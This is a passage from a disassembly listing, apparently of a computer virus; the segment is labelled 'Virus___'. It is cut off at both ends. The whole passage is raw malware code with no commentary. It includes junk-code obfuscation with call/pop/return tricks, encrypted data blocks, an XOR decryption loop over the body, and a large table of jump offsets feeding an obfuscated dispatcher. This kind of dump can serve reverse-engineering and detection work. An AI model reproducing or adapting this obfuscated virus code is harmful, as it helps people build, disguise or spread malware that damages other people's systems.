1B37ACE1h, 66897329h, 5BA789BBh, 60D98C66h, 6E8h, 1D376E00h dd 0B357AD2Ah, 95315958h, 71B1F39h, 4C1F661h, 2E850Fh dd 6E90000h, 91000000h, 0DB17C0E1h, 0B887h, 840F0000h dd 5, 0FDA8166h, 43E9B5h, 9E90000h, 50000000h, 0DFE7C477h dd 5BD3C0BDh, 2131858Bh, 958B071Bh, 71B2BC5h, 6AE0FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0B01C43C3h, 2D5D8D01h, 8B66071Bh db 0D3h ; --------------------------------------------------------------------------- loc_542729: ; CODE XREF: Virus___:00542662j cmp dword ptr [ebp+71B145Dh], 0 jnz loc_5427E3 mov edx, edi push eax mov [esp], eax push 0 push ebx call sub_542747 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542747 proc near ; CODE XREF: Virus___:0054273Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_542747 endp ; --------------------------------------------------------------------------- db 21h dd 532D40B9h, 0F07BFDC1h, 0C6D18B12h, 1B1C0585h, 0F574507h dd 685AD8B7h, 261DADB8h, 0B1240481h, 0F56854BBh, 225DB5FFh dd 0BD89071Bh, 71B266Dh, 3B0C858Dh, 6A071Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7693E5C3h dd 57F4226h, 0ADB501F9h, 0FF071B25h, 0CE9D0h, 6560000h dd 0E11756D6h, 0B072A28Eh, 8589B2F8h, 71B145Dh, 2BC58531h dd 0BD89071Bh, 71B010Dh, 8B0F58h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5427E3: ; CODE XREF: Virus___:00542730j cmp dword ptr [ebp+71B4F7Ah], 0 jz loc_54280E jge loc_5427FC mov edx, [ebp+71B2AD1h] loc_5427FC: ; CODE XREF: Virus___:005427F0j push dword ptr [ebp+71B1455h] mov ebx, [ebp+71B33A1h] call dword ptr [ebp+71B145Dh] loc_54280E: ; CODE XREF: Virus___:005427EAj cmp eax, 0 jnz loc_54290C jno loc_542835 jmp loc_542835 ; --------------------------------------------------------------------------- dw 0F277h dd 0A34D55E2h, 2C2BE260h, 49245FF6h, 0A4CCBB3Ah ; --------------------------------------------------------------------------- push edi loc_542835: ; CODE XREF: Virus___:00542817j ; Virus___:0054281Dj cmp dword ptr [ebp+71B24EDh], 0 jz loc_542897 and edx, [ebp+71B33D9h] mov edx, ecx push dword ptr [ebp+71B24EDh] movzx ebx, cx mov eax, 1 mov dh, 0DCh jmp loc_542A9D ; --------------------------------------------------------------------------- push 0 push ecx call sub_54286A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54286A proc near ; CODE XREF: Virus___:00542862p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_54286A endp ; --------------------------------------------------------------------------- push esp xchg eax, edi or al, 8Fh sub [edi+22h], edi sub bh, ds:5A5B5756h[edi*8] push edx jmp loc_542894 ; --------------------------------------------------------------------------- and [ecx], bl mov bl, 0D6h fldlg2 loc_542894: ; CODE XREF: Virus___:00542889j pop edx mov ebx, eax loc_542897: ; CODE XREF: Virus___:0054283Cj push dword ptr [ebp+71B1455h] push 0 push edi call sub_5428A8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5428A8 proc near ; CODE XREF: Virus___:005428A0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5428A8 endp ; --------------------------------------------------------------------------- sal ch, 1 xor bl, dh xor al, 3Bh rcl dword ptr ds:5DC38166h, 87h add bx, 0D521h push dword ptr [ebp+71B1455h] push 0 push edi call sub_5428DB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5428DB proc near ; CODE XREF: Virus___:005428D3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5428DB endp ; --------------------------------------------------------------------------- db 4Ch ; --------------------------------------------------------------------------- pusha add [ebp+71B0BC5h], edx mov ebx, 4B2DF094h popa push dword ptr [ebp+71B145Dh] mov edx, [ebp+71B04C9h] jmp loc_542A9D ; --------------------------------------------------------------------------- mov bh, 1Bh loc_54290C: ; CODE XREF: Virus___:00542811j pop edi mov ebx, 18EAE107h cmp dword ptr [ebp+71B2959h], 0 jnz loc_5429EC adc bh, 87h mov byte ptr [ebp+71B1C05h], 4Dh push 0 push ebx call sub_542934 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542934 proc near ; CODE XREF: Virus___:0054292Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_542934 endp ; --------------------------------------------------------------------------- dd 0CE806939h, 4E886h, 76A80000h, 5060A435h, 8A310F52h dd 0B5585ADAh, 8B5061CFh, 66042444h, 8B039DBBh, 0DABB6600h dd 244489DAh, 0E810BB04h, 0E95804FAh, 11h, 0DE3E54F4h dd 0D62D55C2h, 0EDC163A3h, 37113154h, 0B5FFF866h, 71B08CDh dd 9E935B6h, 0FD000000h, 0FC05A880h, 3AD4DEF8h, 3B0C858Dh dd 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 589097C3h, 0BF0F8CD4h, 60D0FFDAh, 81B58B53h dd 5A071B0Bh, 18ED8D8Bh, 8961071Bh, 1B295985h, 0BA68B307h dd 7859E832h ; --------------------------------------------------------------------------- loc_5429EC: ; CODE XREF: Virus___:00542919j mov eax, 0 xor dx, 28FDh mov [ebp+71B4F23h], edi push 0 push eax call sub_542A07 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542A07 proc near ; CODE XREF: Virus___:005429FFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_542A07 endp ; --------------------------------------------------------------------------- push ds pusha xchg eax, edi mov [edi+0FC00BA6h], al test ds:8B000000h, dl popf movsd and [ebx], ebx pop es jmp loc_542A9D ; --------------------------------------------------------------------------- ja loc_542A3A mov dx, 287Ch loc_542A3A: ; CODE XREF: Virus___:00542A30j push dword ptr [ebp+71B145Dh] jmp loc_542A55 ; --------------------------------------------------------------------------- db 0EAh, 41h, 65h dd 2B5A5460h, 379AB084h, 3BA480A9h ; --------------------------------------------------------------------------- push ecx loc_542A55: ; CODE XREF: Virus___:00542A40j lea eax, [ebp+71DA57Eh] push 0 push eax call sub_542A66 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542A66 proc near ; CODE XREF: Virus___:00542A5Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_542A66 endp ; --------------------------------------------------------------------------- dw 0FEDFh ; --------------------------------------------------------------------------- std jmp loc_542A8C ; --------------------------------------------------------------------------- dw 268Bh dd 3ED15D0Dh, 4FA404B1h, 0A333E218h ; --------------------------------------------------------------------------- loc_542A8C: ; CODE XREF: Virus___:00542A79j push eax pusha mov edi, 137E8022h popa mov [esp], eax mov edx, [ebp+71B1FE1h] loc_542A9D: ; CODE XREF: Virus___:0054285Aj ; Virus___:00542905j ... push eax push esi lea edi, [ebp+71B5662h] lea ecx, [ebp+71B7948h] mov eax, 748323BCh sub ecx, edi loc_542AB2: ; CODE XREF: Virus___:00542AB8j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_542AB2 pop esi pop eax cmp dword ptr [ebp+71B24EDh], 0 jz short loc_542ACB mov ecx, [ebp+71B2915h] loc_542ACB: ; CODE XREF: Virus___:00542AC3j xor ecx, ecx mov eax, 0 or eax, eax jz loc_542B82 cmp dword ptr [ebp+71B1EA9h], 0 jz short loc_542AE9 call dword ptr [ebp+71B28E9h] loc_542AE9: ; CODE XREF: Virus___:00542AE1j mov eax, 0 or eax, eax jnz short loc_542AFB cmp dword ptr [ebp+71B4F2Bh], 1 jz short loc_542B04 loc_542AFB: ; CODE XREF: Virus___:00542AF0j cmp dword ptr [ebp+71B4F2Bh], 2 jnz short loc_542B12 loc_542B04: ; CODE XREF: Virus___:00542AF9j mov esi, [ebp+71B4F23h] lea eax, [ebp+71DA57Eh] call eax loc_542B12: ; CODE XREF: Virus___:00542B02j cmp dword ptr [ebp+71B1B0Dh], 0 jz short loc_542B21 call dword ptr [ebp+71B2B3Dh] loc_542B21: ; CODE XREF: Virus___:00542B19j lea eax, [ebp+71B4380h] call eax cmp dword ptr [ebp+71B325Dh], 2 jnz short loc_542B61 mov esp, [ebp+71B16A5h] mov eax, [ebp+71B24EDh] mov [esp], eax mov dword ptr [ebp+71B1449h], 1 mov esi, [ebp+71B4F27h] mov ebp, [ebp+71B2B5Dh] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_542B61: ; CODE XREF: Virus___:00542B30j mov dword ptr [ebp+71B1449h], 1 mov esp, [ebp+71B16A5h] mov esi, [ebp+71B30B1h] mov ebp, [ebp+71B2B5Dh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_542B82: ; CODE XREF: Virus___:00542AD4j cmp dword ptr [ebp+71B1B0Dh], 0 jz short loc_542B9A cmp dword ptr [ebp+71B2B3Dh], 0 jz short loc_542B9A call dword ptr [ebp+71B2B3Dh] loc_542B9A: ; CODE XREF: Virus___:00542B89j ; Virus___:00542B92j mov esi, [ebp+71B4F23h] retn ; --------------------------------------------------------------------------- jmp loc_542BB9 ; --------------------------------------------------------------------------- dw 0FBE8h dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh db 0CCh ; --------------------------------------------------------------------------- loc_542BB9: ; CODE XREF: Virus___:00542BA1j mov dx, ax sub edx, edx push 0 push esi call sub_542BC9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542BC9 proc near ; CODE XREF: Virus___:00542BC1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_542BC9 endp ; --------------------------------------------------------------------------- db 2 dup(7Eh), 0B8h dd 8AF574E9h db 0D1h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_542BF1 ; --------------------------------------------------------------------------- loc_542BEF: ; CODE XREF: Virus___:00542BF4j inc eax inc edi loc_542BF1: ; CODE XREF: Virus___:00542BEDj cmp byte ptr [edi], 0 jnz short loc_542BEF xor ecx, ecx mov edi, [ebp+8] jmp short loc_542C20 ; --------------------------------------------------------------------------- loc_542BFD: ; CODE XREF: Virus___:00542C22j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_542C15 ; --------------------------------------------------------------------------- loc_542C12: ; CODE XREF: Virus___:00542C18j mul ebx dec esi loc_542C15: ; CODE XREF: Virus___:00542C10j cmp esi, 0 ja short loc_542C12 pop ebx add ecx, eax pop eax inc edi dec eax loc_542C20: ; CODE XREF: Virus___:00542BFBj or eax, eax jnz short loc_542BFD mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- xor dx, 96AEh or [ebp+71B030Dh], ecx loc_542C39: ; CODE XREF: Virus___:005400E8j mov eax, ecx jmp loc_564CEC ; --------------------------------------------------------------------------- dd 7CE877AAh, 4077EE7Eh, 0F938B16Ah, 4061EA7Eh, 40366668h dd 578D12h, 7C90EB94h, 217h, 2, 1, 0 dd 0F938B16Ah, 5 dup(0) dd offset loc_549F2F dd offset loc_54BF8F ; --------------------------------------------------------------------------- rcr dword ptr [edx-6C62FFACh], cl push esp add [eax], bh cmp [eax+eax-3], edx inc edx push esp add [esp], dh push esp add bh, ch jnz short loc_542CF7 add [ebp+79h], cl push esp add dl, al push ecx push esp add ch, ch jnp short loc_542D03 add bh, bh inc esi push esp add ch, ah movsb push esp add [esi-3BFFABAEh], bh xor edx, [eax+eax-21h] xchg eax, ecx push esp add [eax+ecx*8+54h], ah add bl, ah rcl dword ptr [eax+eax+48h], 0C7h push esp add dh, al mov dl, 54h add [ebp-16FFAB21h], cl retf ; --------------------------------------------------------------------------- dw 54h dd offset loc_54764C dd offset loc_54A7B7 dd offset loc_54680C dd offset loc_544BB9 dd offset loc_54A0F2 dd offset loc_549BFE ; --------------------------------------------------------------------------- mov dh, 0D7h push esp loc_542CF7: ; CODE XREF: Virus___:00542CA1j add [ebp-42FFAB2Ah], bh mov ds:7A3E0054h, eax push esp loc_542D03: ; CODE XREF: Virus___:00542CADj add ds:0AE0054E7h, ch retf ; --------------------------------------------------------------------------- push esp add [eax-39h], al push esp add [ecx+630054AEh], bl jbe short loc_542D6B add bh, ch retn ; --------------------------------------------------------------------------- dw 54h dd offset loc_54BEA5 dd offset loc_54CCBE dd offset loc_54569F dd offset loc_545A50 dd offset loc_54D5E3 dd offset loc_54B76B dd offset loc_543166 dd offset loc_546A03 dd offset loc_549E59 dd offset loc_54B039 dd offset loc_54F3EC dd offset loc_544398 dd offset loc_549726 dd offset loc_545697 dd offset loc_54E5CC dd offset loc_543F7B dd offset loc_544041 dd offset loc_548184 dd offset loc_548FAF db 39h, 0A3h, 54h ; --------------------------------------------------------------------------- loc_542D6B: ; CODE XREF: Virus___:00542D15j add [esp+edi*2], ch push esp add dl, dl mov eax, 7FB30054h push esp add [ebx], al mov ah, 54h add cl, bl cmpsd push esp add [ebp+6Bh], ch push esp add bl, ah push edx push esp add cl, cl int 54h add al, dh jp short near ptr loc_542DE1+2 add al, bh cmp [eax+eax+1Ah], edx int 54h add [edi+100054CDh], cl cmp edx, [eax+eax-61h] db 64h push esp add [ebp+4Bh], al push esp add ds:6600545Dh, dl mov dl, [eax+eax-4] inc eax push esp add [edx-32h], al push esp add [eax+edx*8+54h], dl add [eax+eax*4], cl push esp add [ebx-1DFFAB46h], al mov ds:926D0054h, al push esp add dl, ah scasb push esp add [edi-54h], cl push esp add [edi], dl movsb push esp add [ebx+78h], al push esp add [ebx], ch xchg dl, [eax+eax+3Bh] loc_542DE1: ; CODE XREF: Virus___:00542D8Dj mov [eax+eax+61h], dl mov ss, word ptr [eax+eax-46h] push esp push esp add [eax+543Eh], cl in al, dx push esp add [esi-0FFFAB83h], dh ; --------------------------------------------------------------------------- db 8Fh, 54h, 0 dd offset sub_545A2B dd offset loc_546EE1 dd offset loc_54CF9B dd offset loc_54B563 dd offset loc_54868B dd offset loc_54AFA9 dd offset loc_5449CF dd offset loc_543566 dd offset loc_54B925 dd offset loc_54B185 dd offset loc_54F103 dd offset off_547E33 dd offset loc_54A633 dd offset sub_54331B dd offset loc_548725 dd offset loc_545FB9 dd offset loc_547C08 dd offset loc_547219 dd offset off_54572E dd offset loc_549617 dd offset sub_54DD9C dd offset sub_54E630 dd offset loc_547967 dd offset sub_5437F6 dd offset sub_54CF49 dd offset loc_548936 dd offset loc_547227 dd offset loc_54A8AD dd offset loc_54F2FE dd offset loc_54B9BB dd offset sub_543CBA dd offset loc_546E92 dd offset loc_54DF6E dd offset loc_5431A3 dd offset loc_54EF77 dd offset loc_54CB3E dd offset loc_54EFB9 dd offset loc_545B33 dd offset loc_547542 dd offset loc_5468F0 dd offset loc_54C86D dd offset loc_547FA1 dd offset loc_5484A7 dd offset sub_54D666 dd offset loc_54981F dd offset sub_54DD5F dd offset sub_5432E2 dd offset loc_548E8D dd offset loc_545C86 dd offset loc_543C88 dd offset loc_54793C dd offset loc_546416 dd offset loc_54BD2C dd offset loc_54AF7D dd offset loc_5474EA dd offset loc_54CC39 dd offset sub_54CE77 dd offset loc_548341 dd offset loc_5493A5 dd offset loc_5485EA dd offset loc_549E92 dd offset sub_54E535 dd offset sub_54D166 dd offset loc_548E43 dd offset loc_54D5FB dd offset loc_54AB43 dd offset loc_548ECC dd offset sub_5457F5 dd offset loc_54A237 dd offset sub_54D395 dd offset sub_54EC77 dd offset loc_549115 dd offset loc_549CE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E721 loc_542F20: ; CODE XREF: Virus___:00564D51j ; Virus___:00564D5Bj ... pusha pushf cld call $+5 pop edi sub edi, 71B7DBEh mov eax, edi add edi, 71B7AD6h cmp eax, [edi+2Ch] jnz short loc_542F3E jmp short loc_542F51 ; --------------------------------------------------------------------------- loc_542F3E: ; CODE XREF: sub_56E721-2B7E7j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_542F4D ; --------------------------------------------------------------------------- loc_542F48: ; CODE XREF: sub_56E721-2B7D2j add [edi+ecx*4+40h], eax dec ecx loc_542F4D: ; CODE XREF: sub_56E721-2B7DBj or ecx, ecx jnz short loc_542F48 loc_542F51: ; CODE XREF: sub_56E721-2B7E5j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_542F5E: ; CODE XREF: sub_56E721-2B7BCj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_542F5E ; END OF FUNCTION CHUNK FOR sub_56E721 ; START OF FUNCTION CHUNK FOR sub_545A2B loc_542F67: ; CODE XREF: sub_54317D-1Cj ; Virus___:005431A6j ... lodsb xor al, bl push cx jmp loc_549125 ; --------------------------------------------------------------------------- loc_542F71: ; CODE XREF: sub_545A2B+1765j add edi, ebx pop ebx sub esp, 4 mov [esp+2+var_4+2], ebp mov ebp, 57E65CDBh xor ebp, 24517FA3h dec ebp not ebp sub ebp, 8C48DC86h add edi, 5ED9550Fh jmp loc_54B946 ; --------------------------------------------------------------------------- loc_542F99: ; CODE XREF: sub_545A2B+9A32j and eax, edx mov edx, [esp+2+var_4+2] push esi push esp pop esi sub esp, 4 mov [esp+0Ah+var_C+2], edi jmp loc_54304D ; --------------------------------------------------------------------------- loc_542FAC: ; CODE XREF: sub_545A2B+8E09j pop esp add ebx, 4A8138F4h sub ebx, 4C6035B8h jmp loc_54E49F ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_542FBE proc near ; CODE XREF: sub_545A2B+1CE4j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00543663 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0054D55F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0054F076 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], esi mov esi, 0C000C002h push esi mov esi, 4E1A1978h neg esi push ebp jmp loc_54F076 sub_542FBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_542FDA: ; CODE XREF: sub_545A2B+31BFj pop esp mov [esp+2+var_4+2], ebp mov ebp, esp push 1F0Ch jmp loc_54E6FB ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54E80B loc_542FEA: ; CODE XREF: sub_54E80B-184Bj add esp, 4 jmp loc_546427 ; END OF FUNCTION CHUNK FOR sub_54E80B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_542FF2: ; CODE XREF: sub_545A2B+C2j push 4985h mov [esp+0Ah+var_C+2], edx jmp loc_544814 ; --------------------------------------------------------------------------- loc_542FFF: ; CODE XREF: sub_545A2B+39E5j mov ebx, 13AA6E2Ah sub ecx, ebx pop ebx neg ecx push ebp mov ebp, 76D17801h xor ecx, ebp push [esp+0Ah+var_C+2] jmp loc_549C66 ; --------------------------------------------------------------------------- loc_543019: ; CODE XREF: sub_545A2B+63A5j push [esp+0Eh+var_C+2] pop edi pop [esp+0Eh+var_10+2] mov esp, [esp+0Ah+var_C+2] push [esp+0Ah+var_C+2] push [esp+0Eh+var_10+2] pop edx push edx push esp pop edx jmp loc_54E578 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_544532 loc_543033: ; CODE XREF: sub_544532+Cj mov cl, 2 sub cl, ah mov eax, [esp+8+var_8] jmp loc_5442A8 ; END OF FUNCTION CHUNK FOR sub_544532 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54303F: ; CODE XREF: sub_545A2B+8675j add esp, 4 shl cl, 2 jmp loc_54E221 ; --------------------------------------------------------------------------- loc_54304D: ; CODE XREF: sub_545A2B-2A84j mov edi, 4 add esi, edi pop edi push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp+6+var_8+2] pop esp or edx, eax shl edx, 1 jmp loc_5471F1 ; --------------------------------------------------------------------------- loc_54306B: ; CODE XREF: sub_545A2B+48D1j push 6878h mov [esp+6+var_8+2], esp jmp loc_54A854 ; --------------------------------------------------------------------------- loc_543078: ; CODE XREF: sub_545A2B+B63j push ecx mov ecx, 68291481h neg ecx jmp loc_54C6D3 ; --------------------------------------------------------------------------- loc_543085: ; CODE XREF: sub_545A2B+4EC8j pop eax mov bl, ch pop ecx pop edx pop eax not bl push edx mov dl, 0A5h jmp loc_54312D ; --------------------------------------------------------------------------- loc_543095: ; CODE XREF: sub_545A2B+78B4j mov ecx, edx pop edx sub ecx, 6C3A6716h add edx, ecx pop ecx jmp loc_54BC51 ; --------------------------------------------------------------------------- loc_5430A6: ; CODE XREF: sub_545A2B+5F0Aj pop eax jmp loc_54321E ; --------------------------------------------------------------------------- loc_5430AC: ; CODE XREF: sub_545A2B+554Dj mov ecx, esp add ecx, 4 jmp loc_54C7F9 ; --------------------------------------------------------------------------- loc_5430B9: ; CODE XREF: sub_545A2B-784j push 47F2h mov [esp-0Ah+arg_4+2], ebp jmp loc_546E9A ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_5430C6: ; CODE XREF: Virus___:0054CDD6j mov edi, esp push edx mov edx, 76FD2119h shr edx, 5 shl edx, 5 add edx, 318C1F57h and edx, 751E7E36h xor edx, 598A0834h jmp loc_546F27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5430EB: ; CODE XREF: sub_545A2B+5457j inc esi sub esi, 48CE6DEh add edi, esi pop esi jmp loc_54DE41 ; --------------------------------------------------------------------------- loc_5430FA: ; CODE XREF: sub_545A2B+6E34j mov edi, 5C95D74h mov eax, edi mov edi, [esp-0Eh+arg_A] add esp, 4 and eax, 695C0647h shl eax, 6 xor eax, 52011104h sub ebp, eax pop eax push ebp push [esp-12h+arg_12] pop ebp pop [esp-12h+arg_E] pop esp mov [esp-1Ah+arg_16], esi push edx jmp loc_54B840 ; --------------------------------------------------------------------------- loc_54312D: ; CODE XREF: sub_545A2B-299Bj dec dl sub dl, 42h xor bl, dl mov edx, [esp+0] add esp, 4 sub al, bl push [esp-6+arg_0+2] jmp loc_5499D7 ; --------------------------------------------------------------------------- loc_543144: ; CODE XREF: sub_545A2B+3869j add ebp, 27B57F3h and edx, ebp pop ebp jmp loc_54ADA8 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54317D loc_543152: ; CODE XREF: sub_54317D+A788j xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] pop esp xor [esp-4+arg_0], ax pushf jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_54317D ; --------------------------------------------------------------------------- loc_543166: ; DATA XREF: Virus___:00542D34o mov cx, [esp] push edi push 563Ah mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_546CB3 ; =============== S U B R O U T I N E ======================================= sub_54317D proc near ; CODE XREF: sub_545A2B+4CF5j var_C = dword ptr -0Ch arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00543152 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00543485 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00543590 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00543A01 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0054C97C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0054CEEA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0054D904 SIZE 00000006 BYTES push ebx push esi push ebp mov ebp, 244A1431h sub ebp, 0AEA2E36Ch mov esi, ebp pop ebp xor esi, 7A691819h dec esi shl esi, 7 xor esi, 0C9291EB5h jmp loc_543A01 sub_54317D endp ; --------------------------------------------------------------------------- loc_5431A3: ; DATA XREF: Virus___:00542E80o mov esp, [esp] jmp loc_542F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5431AB: ; CODE XREF: sub_545A2B+4CA5j xor esi, 5E337624h sub esi, 68DB37CBh jmp loc_54AD24 ; --------------------------------------------------------------------------- loc_5431BC: ; CODE XREF: sub_545A2B+6140j sub esi, 246E1415h add esi, 3CEE02DEh mov ebp, [esp-6+arg_0+2] add esp, 4 add esi, 7EFA68D1h mov ebx, 42D764E3h add ebx, 2E5A4B39h jmp loc_548CE6 ; --------------------------------------------------------------------------- loc_5431E4: ; CODE XREF: sub_545A2B+C67j pop ecx xor al, dl pop edx push 0D6Ah jmp loc_54577F ; --------------------------------------------------------------------------- loc_5431F2: ; CODE XREF: sub_545A2B+284Aj add [esp-0Eh+arg_A], 3023344Fh pop ebp sub ebp, 3023344Fh pop ecx mov edx, 38764D60h sub edx, ebp jmp loc_54EAC7 ; --------------------------------------------------------------------------- loc_54320D: ; CODE XREF: sub_545A2B+80B9j add esi, 2 xchg esi, [esp-16h+arg_12] pop esp dec word ptr [esp-1Ah+arg_16] pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54321E: ; CODE XREF: sub_545A2B-2984j sub eax, edx pop edx push esi mov esi, 49AD1A83h shl esi, 1 xor esi, 0D9EF5A68h add eax, 47A36FE9h sub eax, esi sub eax, 47A36FE9h pop esi add eax, 68610D0Ah sub eax, ebx sub eax, 68610D0Ah jmp loc_54C713 ; --------------------------------------------------------------------------- loc_54324D: ; CODE XREF: sub_545A2B+294Aj pop ebx mov dh, ah pop eax sub dh, 0Fh add bl, 0BFh add bl, dh push ecx mov ch, 9 jmp loc_545703 ; --------------------------------------------------------------------------- loc_543261: ; CODE XREF: sub_545A2B+68Cj popf retn ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- jmp loc_542F67 ; =============== S U B R O U T I N E ======================================= sub_543268 proc near ; CODE XREF: sub_545A2B+21BDj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005450F1 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0054F3D5 SIZE 00000017 BYTES push ebp pop edx pop ebp or ecx, ecx jz loc_547D6D push 240Ch mov [esp+0], esp push ecx jmp loc_5450F1 sub_543268 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543281: ; CODE XREF: sub_545A2B+684Aj mov ebx, 28793926h jmp loc_54841B ; --------------------------------------------------------------------------- loc_54328B: ; CODE XREF: sub_545A2B+2583j mov edi, esp jmp loc_545DF8 ; --------------------------------------------------------------------------- loc_543292: ; CODE XREF: sub_545A2B+8DF8j add esp, 4 jmp loc_54A8CF ; --------------------------------------------------------------------------- loc_54329A: ; CODE XREF: sub_545A2B+24F3j xchg esi, [esp-1Eh+arg_1A] pop esp and eax, edx mov edx, [esp-22h+arg_1E] add esp, 4 or eax, eax jnz loc_548B43 push ebx mov ebx, 28A8127Fh push edx jmp loc_54B580 ; --------------------------------------------------------------------------- loc_5432BA: ; CODE XREF: sub_545A2B-D94j mov ebx, [esp-1Eh+arg_1A] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-1Ah+arg_16] pop esp push small 3794h mov word ptr [esp-1Ch+arg_16+2], dx push eax mov ah, 88h add ah, 96h mov dl, ah jmp loc_5490EF ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5432E2 proc near ; DATA XREF: Virus___:00542EB4o var_8 = dword ptr -8 mov ax, [esp+0] push edi push esp push [esp+8+var_8] pop edi jmp loc_5463F4 sub_5432E2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5432F1: ; CODE XREF: sub_545A2B+5EA2j sub bl, 0D8h push 72D0h mov [esp-14h+arg_E+2], edx jmp loc_5483C2 ; --------------------------------------------------------------------------- loc_543301: ; CODE XREF: sub_545A2B+507Bj pop esp push [esp-18h+arg_12+2] pop ecx jmp sub_545002 ; --------------------------------------------------------------------------- loc_54330B: ; CODE XREF: sub_545A2B-21E3j push esi jmp loc_54A089 ; --------------------------------------------------------------------------- loc_543311: ; CODE XREF: sub_545A2B-188Aj push 258Ch jmp loc_544305 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54331B proc near ; DATA XREF: Virus___:00542E30o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0054518F SIZE 0000000C BYTES push dword ptr [esp+0] push [esp+4+var_4] jmp loc_54518F sub_54331B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543326: ; CODE XREF: sub_545A2B+8ED7j mov edi, esp add edi, 4 add edi, 4 xor edi, [esp-10h+arg_A+2] xor [esp-10h+arg_A+2], edi xor edi, [esp-10h+arg_A+2] jmp loc_5451AC ; --------------------------------------------------------------------------- loc_54333F: ; CODE XREF: sub_545A2B+46CAj jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543344: ; CODE XREF: sub_545A2B-442j add [esp-10h+arg_E+2], eax add [esp-10h+arg_E+2], 5712026Ch pop eax jmp loc_54DCB7 ; --------------------------------------------------------------------------- loc_543356: ; CODE XREF: sub_545A2B-1C3Ej neg 